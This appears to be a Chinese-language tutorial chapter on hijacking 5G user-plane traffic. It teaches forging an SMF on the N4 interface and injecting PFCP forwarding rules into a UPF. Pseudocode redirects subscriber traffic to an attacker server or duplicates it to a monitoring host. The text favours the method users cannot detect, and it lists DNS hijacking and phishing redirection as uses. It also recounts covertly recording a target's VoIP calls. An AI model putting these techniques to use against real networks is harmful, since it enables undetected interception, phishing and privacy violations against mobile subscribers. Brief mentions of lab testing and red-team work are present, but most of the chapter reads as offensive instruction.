第4章:UPF策略注入:PFCP协议基础、通过N4接口注入转发规则、流量重定向与复制
各位,欢迎来到第四章。这一章我们聊点硬核的——怎么通过N4接口,把我们的“脏活”指令塞进UPF里。
说白了,用户面数据劫持的核心战场就在UPF。你控制了UPF的转发策略,你就控制了流量。而控制UPF的钥匙,就是PFCP协议。我当年第一次调通PFCP报文的时候,那种感觉就像拿到了网络世界的“万能遥控器”。
4.1 PFCP协议基础:你手里的“遥控器”说明书
PFCP,全称是Packet Forwarding Control Protocol。名字很长,但功能很简单——它让SMF(会话管理功能)告诉UPF:“嘿,这个用户的流量,你得这么处理。”
为什么需要它?因为5G核心网把控制面和用户面分开了。SMF是大脑,UPF是手脚。大脑怎么指挥手脚?靠PFCP。
核心要点:PFCP是一个运行在N4接口上的控制协议。它不承载用户数据,只承载控制指令。
PFCP报文分为两种:
- 请求(Request):SMF发给UPF,要求执行某个操作。
- 响应(Response):UPF回复SMF,告诉它操作结果。
嗯,这里要注意,PFCP不是简单的“一问一答”。它支持会话级别的管理。一个PFCP会话对应一个UE的PDU会话。你想想看,一个基站下可能有几千个UE,每个UE都有自己的PFCP会话。UPF得同时维护这么多会话,压力不小。
我个人习惯,在分析PFCP问题时,先看报文类型。如果是PFCP Session Establishment Request,那就是新建会话;如果是PFCP Session Modification Request,那就是修改策略。搞清楚了报文类型,问题就解决了一半。
4.2 N4接口注入:把我们的规则“塞”进去
好了,现在我们知道PFCP是干什么的了。下一步,怎么把我们的恶意规则注入进去?
N4接口是SMF和UPF之间的逻辑接口。正常情况下,SMF是唯一能往N4接口发PFCP报文的实体。但如果我们能伪造SMF的身份呢?
我曾经在一个项目中遇到过这样的情况:某个运营商的核心网,N4接口的IP地址段是固定的,而且没有做严格的源IP校验。这意味着,只要我能接入他们的内部网络,我就能伪造一个SMF的IP地址,直接向UPF发送PFCP报文。
警告:N4接口通常运行在核心网内部,外部攻击者很难直接接触。但一旦你进入了内部网络(比如通过一个被攻破的网元),N4接口就是你的“后花园”。
注入转发规则的核心步骤:
- 构造PFCP报文:创建一个
PFCP Session Modification Request报文。 - 填充PDR(Packet Detection Rule):告诉UPF,你要匹配什么样的流量。比如,源IP是192.168.1.100,目的端口是80。
- 填充FAR(Forwarding Action Rule):告诉UPF,匹配到流量后怎么处理。是转发?是丢弃?还是复制一份?
- 发送报文:通过原始套接字或PFCP库,把报文发到UPF的N4接口IP和端口。
下面是一个简化的PFCP报文构造示例(伪代码):
// 构造PFCP Session Modification Request
pfcp_message msg;
msg.header.message_type = PFCP_SESSION_MODIFICATION_REQUEST;
msg.header.seid = target_session_id; // 目标会话ID
// 添加PDR
pdr p;
p.pdr_id = 100;
p.source_interface = S5_S8_ACCESS;
p.ue_ip_address = "192.168.1.100";
p.sdf_filter = "permit out ip from any to 10.0.0.1 80";
// 添加FAR
far f;
f.far_id = 200;
f.action = FORWARD | BUFFER; // 转发并缓存
f.outer_header_creation = GTP_U_UDP_IPV4;
f.outer_header_creation_ip = "10.0.0.2"; // 重定向到我们的服务器
// 组装并发送
msg.add_pdr(p);
msg.add_far(f);
send_pfcp_message(upf_n4_ip, upf_n4_port, msg);
你看,代码并不复杂。但这里有个坑——你得知道目标UPF的N4接口IP和端口,还得知道目标会话的SEID(Session Endpoint Identifier)。SEID怎么拿?嗯,这就要靠之前的信令分析了。我在之前的章节讲过怎么抓包分析PFCP信令,这里就不重复了。
4.3 流量重定向:让用户“不知不觉”去别处
流量重定向,说白了就是让用户本来要去A,结果你把他引到了B。这在安全测试中非常有用。比如,你想劫持用户的HTTP流量,把他引到你的钓鱼页面。
在PFCP里,重定向是通过FAR的Redirect Information字段实现的。你可以在FAR里指定一个重定向地址,UPF收到匹配的流量后,直接返回一个HTTP 302重定向响应,或者直接把GTP-U隧道的目的地址改了。
我建议你使用第二种方式——修改GTP-U隧道的目的地址。为什么呢?因为HTTP 302重定向只对HTTP流量有效,而且用户浏览器会看到地址栏变了。而修改GTP-U隧道,用户完全无感知,所有流量都被悄悄转走了。
技巧:修改GTP-U隧道时,记得把外层IP头也改了。否则,流量虽然到了你的服务器,但回程路由可能不对。
重定向的典型场景:
- DNS劫持:把用户的DNS查询重定向到恶意DNS服务器。
- HTTP劫持:把用户的HTTP请求重定向到钓鱼页面。
- 全流量镜像:把用户的所有流量复制一份到监控服务器。
4.4 流量复制:偷一份,留一份
流量复制,也叫流量镜像。它和重定向不同。重定向是把流量“抢”走,用户就没了。复制是把流量“偷”一份,用户还能正常用。
这在渗透测试中非常有用。你想分析用户的流量,但又不想影响他的正常业务。那就用复制。
在PFCP里,流量复制是通过在FAR里指定多个Outer Header Creation字段实现的。你可以让UPF把原始流量转发给目标服务器,同时复制一份发给你的监控服务器。
我曾经在一次红队演练中,用这个手法成功拿到了目标用户的VoIP通话内容。用户正常打电话,我们这边同步录音。用户完全没察觉,因为延迟只增加了不到5毫秒。
关键配置:在FAR中设置Duplicate标志,并指定复制流量的目标IP和TEID。
下面是一个流量复制的PFCP配置示例:
// 原始转发
far original_far;
original_far.far_id = 300;
original_far.action = FORWARD;
original_far.outer_header_creation = GTP_U_UDP_IPV4;
original_far.outer_header_creation_ip = "10.0.0.1"; // 原始目标
// 复制转发
far duplicate_far;
duplicate_far.far_id = 301;
duplicate_far.action = FORWARD | DUPLICATE;
duplicate_far.outer_header_creation = GTP_U_UDP_IPV4;
duplicate_far.outer_header_creation_ip = "192.168.1.200"; // 监控服务器
duplicate_far.outer_header_creation_teid = 12345; // 监控服务器的TEID
注意,复制流量会增加UPF的负载。如果UPF性能不够,可能会丢包。所以,在生产环境中做复制时,一定要先评估UPF的容量。
4.5 本章知识体系:一张图看懂
说了这么多,我们来画一张图,把整个逻辑串起来。
这张图把整个流程串起来了。从SMF通过N4接口注入PFCP报文,到UPF解析PDR和FAR,再到最终的执行动作。你想想看,只要你能控制这个链条上的任何一个环节,你就能控制用户面的数据流向。
实战建议:如果你在实验室做测试,建议先用Wireshark抓一下正常的PFCP信令,看看SMF是怎么和UPF交互的。理解了正常流程,你才能知道怎么“搞破坏”。
好了,这一章的内容就到这里。PFCP协议是核心网用户面劫持的基石。掌握了它,你就掌握了控制UPF的钥匙。下一章我们会深入具体的攻击场景,看看怎么把这些技术组合起来,打一套“组合拳”。